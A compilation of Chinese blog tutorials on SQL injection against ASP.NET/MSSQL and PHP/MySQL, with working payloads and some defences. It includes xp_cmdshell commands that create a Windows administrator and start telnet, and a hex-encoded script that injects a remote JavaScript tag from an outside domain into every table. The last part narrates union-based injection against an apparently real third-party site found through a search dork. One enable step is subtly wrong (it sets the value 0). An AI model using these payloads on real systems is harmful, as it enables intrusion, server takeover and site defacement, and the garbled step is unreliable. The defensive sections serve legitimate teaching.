=============安全性篇目录==============
毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱,事实上是没机会接触相关开发……必须的各种借口。这几天把sql注入的相关知识整理了下,希望大家多多提意见。
(对于sql注入的攻防,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避免后知后觉的犯下大错,专门查看大量前辈们的心得,这方面的资料颇多,将其精简出自己觉得重要的,就成了该文)
下面的程序方案是采用 ASP.NET + MSSQL,其他技术在设置上会有少许不同。
示例程序下载:SQL注入攻防入门详解_示例
什么是SQL注入(SQL Injection)
所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。在某些表单中,用户输入的内容直接用来构造(或者影响)动态SQL命令,或作为存储过程的输入参数,这类表单特别容易受到SQL注入式攻击。
尝尝SQL注入
1. 一个简单的登录页面
关键代码:(详细见下载的示例代码)
123456 | privateboolNoProtectLogin( string userName, string password) { int count = ( int )SqlHelper.Instance.ExecuteScalar( string .Format ( "SELECT COUNT(*) FROM Login WHERE UserName='{0}' AND Password='{1}'" , userName, password)); return count > 0 ? true : false ; } |
方法中userName和 password 是没有经过任何处理,直接拿前端传入的数据,这样拼接的SQL会存在注入漏洞。(帐户:admin 123456)
1) 输入正常数据,效果如图:
合并的SQL为:
SELECT COUNT(*) FROM Login WHERE UserName='admin' AND Password='123456'
2) 输入注入数据:
如图,即用户名为:用户名:admin’—,密码可随便输入
合并的SQL为:
SELECT COUNT(*) FROM Login WHERE UserName='admin'-- Password='123'
因为UserName值中输入了“--”注释符,后面语句被省略而登录成功。(常常的手法:前面加上'; ' (分号,用于结束前一条语句),后边加上'--' (用于注释后边的语句))
2. 上面是最简单的一种SQL注入,常见的注入语句还有:
1) 猜测数据库名,备份数据库
a) 猜测数据库名: and db_name() >0 或系统表master.dbo.sysdatabases
b) 备份数据库:;backup database 数据库名 to disk = ‘c:\*.db’;--
或:declare @a sysname;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat' ,name='test';--
2) 猜解字段名称
a) 猜解法:and (select count(字段名) from 表名)>0 若“字段名”存在,则返回正常
b) 读取法:and (select top 1 col_name(object_id('表名'),1) from sysobjects)>0 把col_name(object_id('表名'),1)中的1依次换成2,3,4,5,6…就可得到所有的字段名称。
3) 遍历系统的目录结构,分析结构并发现WEB虚拟目录(服务器上传木马)
先创建一个临时表:;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
a) 利用xp_availablemedia来获得当前所有驱动器,并存入temp表中
;insert temp exec master.dbo.xp_availablemedia;--
b) 利用xp_subdirs获得子目录列表,并存入temp表中
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';--
c) 利用xp_dirtree可以获得“所有”子目录的目录树结构,并存入temp表中
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- (实验成功)
d) 利用 bcp 命令将表内容导成文件
即插入木马文本,然后导出存为文件。比如导出为asp文件,然后通过浏览器访问该文件并执行恶意脚本。(使用该命令必须启动’ xp_cmdshell’)
Exec master..xp_cmdshell N'BCP "select * from SchoolMarket.dbo.GoodsStoreData;" queryout c:/inetpub/wwwroot/runcommand.asp -w -S"localhost" -U"sa" -P"123"'
(注意:语句中使用的是双引号,另外表名格式为“数据库名.用户名.表名”)
在sql查询器中通过语句:Exec master..xp_cmdshell N'BCP’即可查看BCP相关参数,如图:
4) 查询当前用户的数据库权限
MSSQL中一共存在8种权限:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。
可通过1=(select IS_SRVROLEMEMBER('sysadmin'))得到当前用户是否具有该权限。
5) 设置新的数据库帐户(得到MSSQL管理员账户)
d) 在数据库内添加一个hax用户,默认密码是空
;exec sp_addlogin'hax';--
e) 给hax设置密码 (null是旧密码,password是新密码,user是用户名)
;exec master.dbo.sp_password null,password,username;--
f) 将hax添加到sysadmin组
;exec master.dbo.sp_addsrvrolemember 'hax' ,'sysadmin';--
6) xp_cmdshell MSSQL存储过程(得到 WINDOWS管理员账户 )
通过(5)获取到sysadmin权限的帐户后,使用查询分析器连接到数据库,可通过xp_cmdshell运行系统命令行(必须是sysadmin权限),即使用 cmd.exe 工具,可以做什么自己多了解下。
下面我们使用xp_cmdshell来创建一个 Windows 用户,并开启远程登录服务:
a) 判断xp_cmdshell扩展存储过程是否存在
SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name ='xp_cmdshell'
b) 恢复xp_cmdshell扩展存储过程
Exec master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetput\web\xplog70.dll';
开启后使用xp_cmdshell还会报下面错误:
SQL Server 阻止了对组件 'xp_cmdshell' 的过程 'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用sp_configure启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。
通过执行下面语句进行设置:
-- 允许配置高级选项
EXEC sp_configure 'show advanced options', 1
GO
-- 重新配置
RECONFIGURE
GO
-- 启用xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 0
GO
--重新配置
RECONFIGURE
GO
c) 禁用xp_cmdshell扩展存储过程
Exec master.dbo.sp_dropextendedproc 'xp_cmdshell';
d) 添加windows用户:
Exec xp_cmdshell 'net user awen /add';
e) 设置好密码:
Exec xp_cmdshell 'net user awen password';
f) 提升到管理员:
Exec xp_cmdshell 'net localgroup administrators awen /add';
g) 开启telnet服务:
Exec xp_cmdshell 'net start tlntsvr'
7) 没有xp_cmdshell扩展程序,也可创建Windows帐户的办法.
(本人windows7系统,测试下面SQL语句木有效果)
declare @shell int ;
execsp_OAcreate 'w script .shell',@shell output ;
execsp_OAmethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c net user awen /add';
execsp_OAmethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c net user awen 123';
execsp_OAmethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c net localgroup administrators awen /add';
在使用的时候会报如下错:
SQL Server 阻止了对组件 'Ole Automation Procedures' 的过程 'sys.sp_OACreate'、'sys.sp_OAMethod' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用sp_configure启用 'Ole Automation Procedures'。有关启用 'Ole Automation Procedures' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。
解决办法:
sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO
sp_configure 'Ole Automation Procedures', 1;
GO
RECONFIGURE;
GO
好了,这样别人可以登录你的服务器了,你怎么看?
8) 客户端脚本攻击
攻击1:(正常输入)攻击者通过正常的输入提交方式将恶意脚本提交到数据库中,当其他用户浏览此内容时就会受到恶意脚本的攻击。
措施:转义提交的内容,.NET 中可通过System.Net.WebUtility.HtmlEncode(string) 方法将字符串转换为HTML编码的字符串。
攻击2:(SQL注入)攻击者通过SQL注入方式将恶意脚本提交到数据库中,直接使用SQL语法UPDATE数据库,为了跳过System.Net.WebUtility.HtmlEncode(string) 转义,攻击者会将注入SQL经过“HEX编码”,然后通过exec可以执行“动态”SQL的特性运行脚本”。
参考:
注入:SQL注入案例曝光,请大家提高警惕
恢复:批量清除数据库中被植入的js
示例代码:(可在示例附带的数据库测试)
a) 向当前数据库的每个表的每个字段插入一段恶意脚本
12345678910111213 | Declare @T Varchar (255),@C Varchar (255) Declare Table_Cursor Cursor For Select A. Name ,B. Name From SysobjectsA,Syscolumns B Where A.Id=B.Id And A.Xtype= 'u' And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167) Open Table_Cursor Fetch Next From Table_Cursor Into @T,@C While(@@Fetch_Status=0) Begin Exec ( 'update [' +@T+ '] Set [' +@C+ ']=Rtrim(Convert(Varchar(8000),[' +@C+ ']))+' '<script src=http://8f8el3l.cn/0.js></script>' '' ) Fetch Next From Table_Cursor Into @T,@C End Close Table_Cursor DeallocateTable_Cursor |
b) 更高级的攻击,将上面的注入SQL进行“HEX编码”,从而避免程序的关键字检查、脚本转义等,通过EXEC执行
12 | dEcLaRe @s vArChAr (8000) sEt @s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e49643d422e496420416e6420412e58747970653d27752720416e642028422e58747970653d3939204f7220422e58747970653d3335204f7220422e58747970653d323331204f7220422e58747970653d31363729204f70656e205461626c655f437572736f72204665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c4043205768696c6528404046657463685f5374617475733d302920426567696e20457865632827757064617465205b272b40542b275d20536574205b272b40432b275d3d527472696d28436f6e7665727428566172636861722838303030292c5b272b40432b275d29292b27273c736372697074207372633d687474703a2f2f386638656c336c2e636e2f302e6a733e3c2f7363726970743e272727294665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c404320456e6420436c6f7365205461626c655f437572736f72204465616c6c6f63617465205461626c655f437572736f72; eXeC (@s); -- |
c) 批次删除数据库被注入的脚本
1234567891011121314151617181920212223242526272829303132333435363738394041424344 | declare @delStrnvarchar(500) set @delStr= '<script src=http://8f8el3l.cn/0.js></script>' --要被替换掉字符 setnocount on declare @tableNamenvarchar(100),@columnNamenvarchar(100),@tbIDint,@iRowint,@iResultint declare @sqlnvarchar(500) set @iResult=0 declare cur cursor for selectname,id from sysobjects where xtype= 'U' open cur fetch next from cur into @tableName,@tbID while @@fetch_status=0 begin declare cur1 cursor for --xtype in (231,167,239,175) 为char,varchar,nchar,nvarchar类型 select name from syscolumns where xtype in (231,167,239,175) and id=@tbID open cur1 fetch next from cur1 into @columnName while @@fetch_status=0 begin set @sql= 'update [' + @tableName + '] set [' + @columnName + ']= replace([' +@columnName+ '],' '' +@delStr+ '' ',' '' ') where [' +@columnName+ '] like ' '%' +@delStr+ '%' '' execsp_executesql @sql set @iRow=@@rowcount set @iResult=@iResult+@iRow if @iRow>0 begin print '表:' +@tableName+ ',列:' +@columnName+ '被更新' + convert ( varchar (10),@iRow)+ '条记录;' end fetch next from cur1 into @columnName end close cur1 deallocate cur1 fetch next from cur into @tableName,@tbID end print '数据库共有' + convert ( varchar (10),@iResult)+ '条记录被更新!!!' close cur deallocate cur setnocount off |
d) 我如何得到“HEX编码”?
开始不知道HEX是什么东西,后面查了是“十六进制”,网上已经给出两种转换方式:(注意转换的时候不要加入十六进制的标示符 ’0x’ )
Ø 在线转换 (TRANSLATOR, BINARY),进入……
Ø C#版的转换,进入……
9) 对于敏感词过滤不到位的检查,我们可以结合函数构造SQL注入
比如过滤了update,却没有过滤declare、exec等关键词,我们可以使用reverse来将倒序的sql进行注入:
1 | declare @A varchar (200); set @A=reverse( '' '58803303431' '=emanresu erehw ' '9d4d9c1ac9814f08' '=drowssaP tes xxx tadpu' ); |
防止SQL注入
1. 数据库权限控制,只给访问数据库的web应用功能所需的最低权限帐户。
如MSSQL中一共存在8种权限:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。
2. 自定义错误信息,首先我们要屏蔽服务器的详细错误信息传到客户端。
在 ASP.NET 中,可通过web.config配置文件的<customErrors>节点设置:
123 | < customErrors defaultRedirect="url" mode="On|Off|RemoteOnly"> < error. . ./> </ customErrors > |
更详细,请进入……
mode:指定是启用或禁用自定义错误,还是仅向远程客户端显示自定义错误。
On |
指定启用自定义错误。如果未指定defaultRedirect,用户将看到一般性错误。 |
Off |
指定禁用自定义错误。这允许显示标准的详细错误。 |
RemoteOnly |
指定仅向远程客户端显示自定义错误并且向本地主机显示 ASP.NET 错误。这是默认值。 |
看下效果图:
设置为<customErrors mode="On">一般性错误:
设置为<customErrors mode="Off">:
3. 把危险的和不必要的存储过程删除
xp_:扩展存储过程的前缀,SQL注入攻击得手之后,攻击者往往会通过执行xp_cmdshell之类的扩展存储过程,获取系统信息,甚至控制、破坏系统。
xp_cmdshell |
能执行dos命令,通过语句sp_dropextendedproc删除, 不过依然可以通过sp_addextendedproc来恢复,因此最好删除或改名xplog70.dll(sql server 2000、windows7) xpsql70.dll(sqlserer 7.0) |
xp_fileexist |
用来确定一个文件是否存在 |
xp_getfiledetails |
可以获得文件详细资料 |
xp_dirtree |
可以展开你需要了解的目录,获得所有目录深度 |
Xp_getnetname |
可以获得服务器名称 |
Xp_regaddmultistring Xp_regdeletekey Xp_regdeletevalue Xp_regenumvalues Xp_regread Xp_regremovemultistring Xp_regwrite |
可以访问注册表的存储过程 |
Sp_OACreate Sp_OADestroy Sp_OAGetErrorInfo Sp_OAGetProperty Sp_OAMethod Sp_OASetProperty Sp_OAStop |
如果你不需要请丢弃OLE自动存储过程 |
4. 非参数化SQL与参数化SQL
1) 非参数化(动态拼接SQL)
a) 检查客户端脚本:若使用.net,直接用System.Net.WebUtility.HtmlEncode(string)将输入值中包含的《HTML特殊转义字符》转换掉。
b) 类型检查:对接收数据有明确要求的,在方法内进行类型验证。如数值型用int.TryParse(),日期型用DateTime.TryParse() ,只能用英文或数字等。
c) 长度验证:要进行必要的注入,其语句也是有长度的。所以如果你原本只允许输入10字符,那么严格控制10个字符长度,一些注入语句就没办法进行。
d) 使用枚举:如果只有有限的几个值,就用枚举。
e) 关键字过滤:这个门槛比较高,因为各个数据库存在关键字,内置函数的差异,所以对编写此函数的功底要求较高。如公司或个人有积累一个比较好的通用过滤函数还请留言分享下,学习学习,谢谢!
这边提供一个关键字过滤参考方案(MSSQL):
12345678910111213141516171819 | public static bool ValiParms( string parms) { if (parms == null ) { return false ; } Regex regex = new Regex( "sp_" , RegexOptions.IgnoreCase); Regex regex2 = new Regex( "'" , RegexOptions.IgnoreCase); Regex regex3 = new Regex( "create " , RegexOptions.IgnoreCase); Regex regex4 = new Regex( "drop " , RegexOptions.IgnoreCase); Regex regex5 = new Regex( "\"" , RegexOptions.IgnoreCase); Regex regex6 = new Regex( "exec " , RegexOptions.IgnoreCase); Regex regex7 = new Regex( "xp_" , RegexOptions.IgnoreCase); Regex regex8 = new Regex( "insert " , RegexOptions.IgnoreCase); Regex regex9 = new Regex( "delete " , RegexOptions.IgnoreCase); Regex regex10 = new Regex( "select " , RegexOptions.IgnoreCase); Regex regex11 = new Regex( "update " , RegexOptions.IgnoreCase); return (regex.IsMatch(parms) || (regex2.IsMatch(parms) || (regex3.IsMatch(parms) || (regex4.IsMatch(parms) || (regex5.IsMatch(parms) || (regex6.IsMatch(parms) || (regex7.IsMatch(parms) || (regex8.IsMatch(parms) || (regex9.IsMatch(parms) || (regex10.IsMatch(parms) || (regex11.IsMatch(parms)))))))))))); } |
优点:写法相对简单,网络传输量相对参数化拼接SQL小
缺点:
a) 对于关键字过滤,常常“顾此失彼”,如漏掉关键字,系统函数,对于HEX编码的SQL语句没办法识别等等,并且需要针对各个数据库封装函数。
b) 无法满足需求:用户本来就想发表包含这些过滤字符的数据。
c) 执行拼接的SQL浪费大量缓存空间来存储只用一次的查询计划。服务器的物理内存有限,SQLServer的缓存空间也有限。有限的空间应该被充分利用。
2) 参数化查询(Parameterized Query)
a) 检查客户端脚本,类型检查,长度验证,使用枚举,明确的关键字过滤这些操作也是需要的。他们能尽早检查出数据的有效性。
b) 参数化查询原理:在使用参数化查询的情况下,数据库服务器不会将参数的内容视为SQL指令的一部份来处理,而是在数据库完成 SQL 指令的编译后,才套用参数运行,因此就算参数中含有具有损的指令,也不会被数据库所运行。
c) 所以在实际开发中,入口处的安全检查是必要的,参数化查询应作为最后一道安全防线。
优点:
Ø 防止SQL注入(使单引号、分号、注释符、xp_扩展函数、拼接SQL语句、EXEC、SELECT、UPDATE、DELETE等SQL指令无效化)
Ø 参数化查询能强制执行类型和长度检查。
Ø 在MSSQL中生成并重用查询计划,从而提高查询效率(执行一条SQL语句,其生成查询计划将消耗大于50%的时间)
缺点:
Ø 不是所有数据库都支持参数化查询。目前Access、SQL Server、MySQL、SQLite、Oracle等常用数据库支持参数化查询。
疑问:参数化如何“批量更新”数据库。
a) 通过在参数名上增加一个计数来区分开多个参数化语句拼接中的同名参数。
EG:
123456789 | StringBuilder sqlBuilder= new StringBuilder(512); Int count=0; For(循环) { sqlBuilder.AppendFormat(“UPDATE login SET password=@password{0} WHERE username=@userName{0}”,count.ToString()); SqlParameter para= new SqlParamter(){ParameterName=@password+count.ToString()} …… Count++; } |
b) 通过MSSQL 2008的新特性:表值参数,将C#中的整个表当参数传递给存储过程,由SQL做逻辑处理。注意C#中参数设置parameter.SqlDbType = System.Data.SqlDbType.Structured; 详细请查看……
疑虑:有部份的开发人员可能会认为使用参数化查询,会让程序更不好维护,或者在实现部份功能上会非常不便,然而,使用参数化查询造成的额外开发成本,通常都远低于因为SQL注入攻击漏洞被发现而遭受攻击,所造成的重大损失。
另外:想验证重用查询计划的同学,可以使用下面两段辅助语法
123456789 | --清空缓存的查询计划 DBCC FREEPROCCACHE GO --查询缓存的查询计划 SELECT stats.execution_count AS cnt, p.size_in_bytes AS [ size ], [sql].[text] AS [plan_text] FROM sys.dm_exec_cached_plans p OUTER APPLY sys.dm_exec_sql_text (p.plan_handle) sql JOIN sys.dm_exec_query_stats stats ON stats.plan_handle = p.plan_handle GO |
3) 参数化查询示例
效果如图:
参数化关键代码:
1234567891011 | Private bool ProtectLogin( string userName, string password) { SqlParameter[] parameters = new SqlParameter[] { new SqlParameter{ParameterName= "@UserName" ,SqlDbType=SqlDbType.NVarChar,Size=10,Value=userName}, new SqlParameter{ParameterName= "@Password" ,SqlDbType=SqlDbType.VarChar,Size=20,Value=password} }; int count = ( int )SqlHelper.Instance.ExecuteScalar ( "SELECT COUNT(*) FROM Login WHERE UserName=@UserName AND Password=@password" , parameters); return count > 0 ? true : false ; } |
5. 存储过程
存储过程(Stored Procedure)是在大型数据库系统中,一组为了完成特定功能的SQL 语句集,经编译后存储在数据库中,用户通过指定存储过程的名字并给出参数(如果该存储过程带有参数)来执行它。
优点:
a) 安全性高,防止SQL注入并且可设定只有某些用户才能使用指定存储过程。
b) 在创建时进行预编译,后续的调用不需再重新编译。
c) 可以降低网络的通信量。存储过程方案中用传递存储过程名来代替SQL语句。
缺点:
a) 非应用程序内联代码,调式麻烦。
b) 修改麻烦,因为要不断的切换开发工具。(不过也有好的一面,一些易变动的规则做到存储过程中,如变动就不需要重新编译应用程序)
c) 如果在一个程序系统中大量的使用存储过程,到程序交付使用的时候随着用户需求的增加会导致数据结构的变化,接着就是系统的相关问题了,最后如果用户想维护该系统可以说是很难很难(eg:没有VS的查询功能)。
演示请下载示例程序,关键代码为:
12 | cmd.CommandText = procName; // 传递存储过程名 cmd.CommandType = CommandType.StoredProcedure; // 标识解析为存储过程 |
如果在存储过程中SQL语法很复杂需要根据逻辑进行拼接,这时是否还具有放注入的功能?
答:MSSQL中可以通过 EXEC 和sp_executesql动态执行拼接的sql语句,但sp_executesql支持替换 Transact-SQL 字符串中指定的任何参数值, EXECUTE 语句不支持。所以只有使用sp_executesql方式才能启到参数化防止SQL注入。
关键代码:(详细见示例)
a) sp_executesql
1234567891011 | CREATE PROCEDURE PROC_Login_executesql( @userNamenvarchar(10), @ password nvarchar(10), @ count int OUTPUT ) AS BEGIN DECLARE @s nvarchar(1000); set @s=N 'SELECT @count=COUNT(*) FROM Login WHERE UserName=@userName AND Password=@password' ; EXEC sp_executesql @s,N '@userName nvarchar(10),@password nvarchar(10),@count int output' ,@userName=@userName,@ password =@ password ,@ count =@ count output END |
b) EXECUTE(注意sql中拼接字符,对于字符参数需要额外包一层单引号,需要输入两个单引号来标识sql中的一个单引号)
12345678910 | CREATE PROCEDURE PROC_Login_EXEC( @userNamenvarchar(10), @ password varchar (20) ) AS BEGIN DECLARE @s nvarchar(1000); set @s= 'SELECT @count=COUNT(*) FROM Login WHERE UserName=' '' + CAST (@userName AS NVARCHAR(10))+ '' ' AND Password=' '' + CAST (@ password AS VARCHAR (20))+ '' '' ; EXEC ( 'DECLARE @count int;' +@s+ 'select @count' ); END |
注入截图如下:
6. 专业的SQL注入工具及防毒软件
情景1
A:“丫的,又中毒了……”
B:“我看看,你这不是裸机在跑吗?”
电脑上至少也要装一款杀毒软件或木马扫描软件,这样可以避免一些常见的侵入。比如开篇提到的SQL创建windows帐户,就会立马报出警报。
情景2
A:“终于把网站做好了,太完美了,已经检查过没有漏洞了!”
A:“网站怎么被黑了,怎么入侵的???”
公司或个人有财力的话还是有必要购买一款专业SQL注入工具来验证下自己的网站,这些工具毕竟是专业的安全人员研发,在安全领域都有自己的独到之处。SQL注入工具介绍:10个SQL注入工具
7. 额外小知识:LIKE中的通配符
尽管这个不属于SQL注入,但是其被恶意使用的方式是和SQL注入类似的。
参考:SQL中通配符的使用
% |
包含零个或多个字符的任意字符串。 |
_ |
任何单个字符。 |
[] |
指定范围(例如 [a-f])或集合(例如 [abcdef])内的任何单个字符。 |
[^] |
不在指定范围(例如 [^a - f])或集合(例如 [^abcdef])内的任何单个字符。 |
在模糊查询LIKE中,对于输入数据中的通配符必须转义,否则会造成客户想查询包含这些特殊字符的数据时,这些特殊字符却被解析为通配符。不与 LIKE 一同使用的通配符将解释为常量而非模式。
注意使用通配符的索引性能问题:
a) like的第一个字符是'%'或'_'时,为未知字符不会使用索引, sql会遍历全表。
b) 若通配符放在已知字符后面,会使用索引。
网上有这样的说法,不过我在MSSQL中使用 ctrl+L 执行语法查看索引使用情况却都没有使用索引,可能在别的数据库中会使用到索引吧……
截图如下:
有两种将通配符转义为普通字符的方法:
1) 使用ESCAPE关键字定义转义符(通用)
在模式中,当转义符置于通配符之前时,该通配符就解释为普通字符。例如,要搜索在任意位置包含字符串 5% 的字符串,请使用:
WHERE ColumnA LIKE '%5/%%' ESCAPE '/'
2) 在方括号 ([ ]) 中只包含通配符本身,或要搜索破折号 (-) 而不是用它指定搜索范围,请将破折号指定为方括号内的第一个字符。EG:
符号 |
含义 |
LIKE '5[%]' |
5% |
LIKE '5%' |
5 后跟 0 个或多个字符的字符串 |
LIKE '[_]n' |
_n |
LIKE '_n' |
an, in, on (and so on) |
LIKE '[a-cdf]' |
a、b、c、d 或 f |
LIKE '[-acdf]' |
-、a、c、d 或 f |
LIKE '[ [ ]' |
[ |
LIKE ']' |
] (右括号不需要转义) |
所以,进行过输入参数的关键字过滤后,还需要做下面转换确保LIKE的正确执行
1234567 | private static string ConvertSqlForLike( string sql) { sql = sql.Replace( "[" , "[[]" ); // 这句话一定要在下面两个语句之前,否则作为转义符的方括号会被当作数据被再次处理 sql = sql.Replace( "_" , "[_]" ); sql = sql.Replace( "%" , "[%]" ); returnsql; } |
结束语:感谢你耐心的观看。恭喜你, SQL安全攻防你已经入门了……
=================
谈SQL注入漏洞是否已是明日黄花,国内大大小小的网站都已经补上漏洞。但,百密必有一疏,入侵是偶然的,但安全绝对不是必然的。
前些天,网上传得沸沸扬扬的“拖库”事件给我们敲响了安全警钟。
在开发网站的时候,出于安全考虑,需要过滤从页面传递过来的字符。通常,用户可以通过以下接口调用数据库的内容:URL地址栏、登陆界面、留言板、搜索框等。这往往给骇客留下了可乘之机。轻则数据遭到泄露,重则服务器被拿下。
现在,很多网站开发人员知其然而不知其所以然,小弟也是,所以赶紧恶补下,总结如学习内容。希望对初学者能够起到抛砖引玉的作用。
一、SQL注入的步骤
a) 寻找注入点(如:登录界面、留言板等)
b) 用户自己构造SQL语句(如:' or 1=1#,后面会讲解)
c) 将sql语句发送给数据库管理系统(DBMS)
d) DBMS接收请求,并将该请求解释成机器代码指令,执行必要的存取操作
e) DBMS接受返回的结果,并处理,返回给用户
因为用户构造了特殊的SQL语句,必定返回特殊的结果(只要你的SQL语句够灵活的话)。
下面,我通过一个实例具体来演示下SQL注入
二、SQL注入实例详解(以上测试均假设服务器未开启magic_quote_gpc)
1) 前期准备工作
先来演示通过SQL注入漏洞,登入后台管理员界面
首先,创建一张试验用的数据表:
复制代码 代码如下:
CREATE TABLE `users` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(64) NOT NULL,
`password` varchar(64) NOT NULL,
`email` varchar(64) NOT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `username` (`username`)
) ENGINE=MyISAM AUTO_INCREMENT=3 DEFAULT CHARSET=latin1;
添加一条记录用于测试:
复制代码 代码如下:
INSERT INTO users (username,password,email)
VALUES('MarcoFly',md5('test'),'[email protected]');
接下来,贴上登录界面的源代码:
复制代码 代码如下:
<html>
<head>
<title>Sql注入演示</title>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
</head>
<body >
<form action="validate.php" method="post">
<fieldset >
<legend>Sql注入演示</legend>
<table>
<tr>
<td>用户名:</td><td><input type="text" name="username"></td>
</tr>
<tr>
<td>密 码:</td><td><input type="text" name="password"></td>
</tr>
<tr>
<td><input type="submit" value="提交"></td><td><input type="reset" value="重置"></td>
</tr>
</table>
</fieldset>
</form>
</body>
</html>
附上效果图:
当用户点击提交按钮的时候,将会把表单数据提交给validate.php页面,validate.php页面用来判断用户输入的用户名和密码有没有都符合要求(这一步至关重要,也往往是SQL漏洞所在)
代码如下:
复制代码 代码如下:
<html>
<head>
<title>登录验证</title>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
</head>
<body>
<?php
$conn=@mysql_connect("localhost",'root','') or die("数据库连接失败!");;
mysql_select_db("injection",$conn) or die("您要选择的数据库不存在");
$name=$_POST['username'];
$pwd=$_POST['password'];
$sql="select * from users where username='$name' and password='$pwd'";
$query=mysql_query($sql);
$arr=mysql_fetch_array($query);
if(is_array($arr)){
header("Location:manager.php");
}else{
echo "您的用户名或密码输入有误,<a href=\"Login.php\">请重新登录!</a>";
}
?>
</body>
</html>
注意到了没有,我们直接将用户提交过来的数据(用户名和密码)直接拿去执行,并没有实现进行特殊字符过滤,待会你们将明白,这是致命的。
代码分析:如果,用户名和密码都匹配成功的话,将跳转到管理员操作界面(manager.php),不成功,则给出友好提示信息。
登录成功的界面:
登录失败的提示:
到这里,前期工作已经做好了,接下来将展开我们的重头戏:SQL注入
2) 构造SQL语句
填好正确的用户名(marcofly)和密码(test)后,点击提交,将会返回给我们“欢迎管理员”的界面。
因为根据我们提交的用户名和密码被合成到SQL查询语句当中之后是这样的:
select * from users where username='marcofly' and password=md5('test')
很明显,用户名和密码都和我们之前给出的一样,肯定能够成功登陆。但是,如果我们输入一个错误的用户名或密码呢?很明显,肯定登入不了吧。恩,正常情况下是如此,但是对于有SQL注入漏洞的网站来说,只要构造个特殊的“字符串”,照样能够成功登录。
比如:在用户名输入框中输入:' or 1=1#,密码随便输入,这时候的合成后的SQL查询语句为:
select * from users where username='' or 1=1#' and password=md5('')
语义分析:“#”在mysql中是注释符,这样井号后面的内容将被mysql视为注释内容,这样就不会去执行了,换句话说,以下的两句sql语句等价:
复制代码 代码如下:
select * from users where username='' or 1=1#' and password=md5('')
等价于
复制代码 代码如下:
select * from users where username='' or 1=1
因为1=1永远是都是成立的,即where子句总是为真,将该sql进一步简化之后,等价于如下select语句:
select * from users
没错,该sql语句的作用是检索users表中的所有字段
小技巧:如果不知道' or 1=1#中的单引号的作用,可以自己echo 下sql语句,就一目了然了。
看到了吧,一个经构造后的sql语句竟有如此可怕的破坏力,相信你看到这后,开始对sql注入有了一个理性的认识了吧~
没错,SQL注入就是这么容易。但是,要根据实际情况构造灵活的sql语句却不是那么容易的。有了基础之后,自己再去慢慢摸索吧。
有没有想过,如果经由后台登录窗口提交的数据都被管理员过滤掉特殊字符之后呢?这样的话,我们的万能用户名' or 1=1#就无法使用了。但这并不是说我们就毫无对策,要知道用户和数据库打交道的途径不止这一条。
更多关于SQL注入的信息请看我的另一篇博文:利用SQL注入漏洞拖库
原创文章:WEB开发_小飞
转载请注明:
新在研究SQL手动注入,拿了个网站开刷。首先是找到带有SQL注入点,就去谷歌随便找了个inurl:php?id=
http://rsc.xxxx.jx.cn/public/dongtai/news.php?id=228 改链接就存在SQL注入点。
第一步,进行注入测试。 最简单的方法就是 在链接后边加上 and 1=1 和 and 1=2 如果在and 1=2 显示页面不正常,而在and 1=2下显示正常,则证明 该链接存在注入点。其原理是:一般查询的语句为
select * from table where id=1
//按照这样测试就成为了
select * from table where id=1 and 1=2
第二步,在找到注入点后, 猜解当前网页的字段数
http://rsc.xxxx.jx.cn/public/dongtai/news.php?id=228+order by 6</pre>
<pre escaped="true">http://rsc.xxxx.jx.cn/public/dongtai/news.php?id=228+order by 7</pre>
<pre escaped="true">
Order by 6显示正常 ;order 7 显示不正常。说明字段数为6
第三步,爆出当前链接的显示位
//对应的数字就是显示的位置,显示位为 2和4</pre>
<pre escaped="true">http://rsc.xxxx.jx.cn/public/dongtai/news.php?id=228+and+1=2+union+select+1,2,3,4,5,6–-</pre>
<pre escaped="true">
第四步,爆出数据库的基本信息。
http://rsc.xxxx.jx.cn/public/dongtai/news.php?id=228+and+1=2+union+select+1,2,3,concat(user(),0x20,database(),0x20,version()),5,6–-
用户:people@localhost 数据库名:people 版本:5.0.20a-log
爆出所有的数据库:
http://rsc.xxxx.jx.cn/public/dongtai/news.php?id=228%20and%201=2+union+select+1,2,3,group_concat(distinct+table_schema),5,6+from+information_schema.columns--
爆出数据库名:information_schema,people,test
information_schema数据库是在MYSQL的版本5.0之后产生的,一个虚拟数据库,物理上并不存在。 nformation_schema数据库类似与“数据字典”,提供了访问数据库元数据的方式,即数据的数据。比如数据库名或表名,列类型,访问权限(更 加细化的访问方式)。information_schema是一个由数据库的元数据组成的数据库。里面存储的是MYSQL的数据库基本信息。并随时改变。 用于查看信息以及系统决策时作为重要的信息提供者。
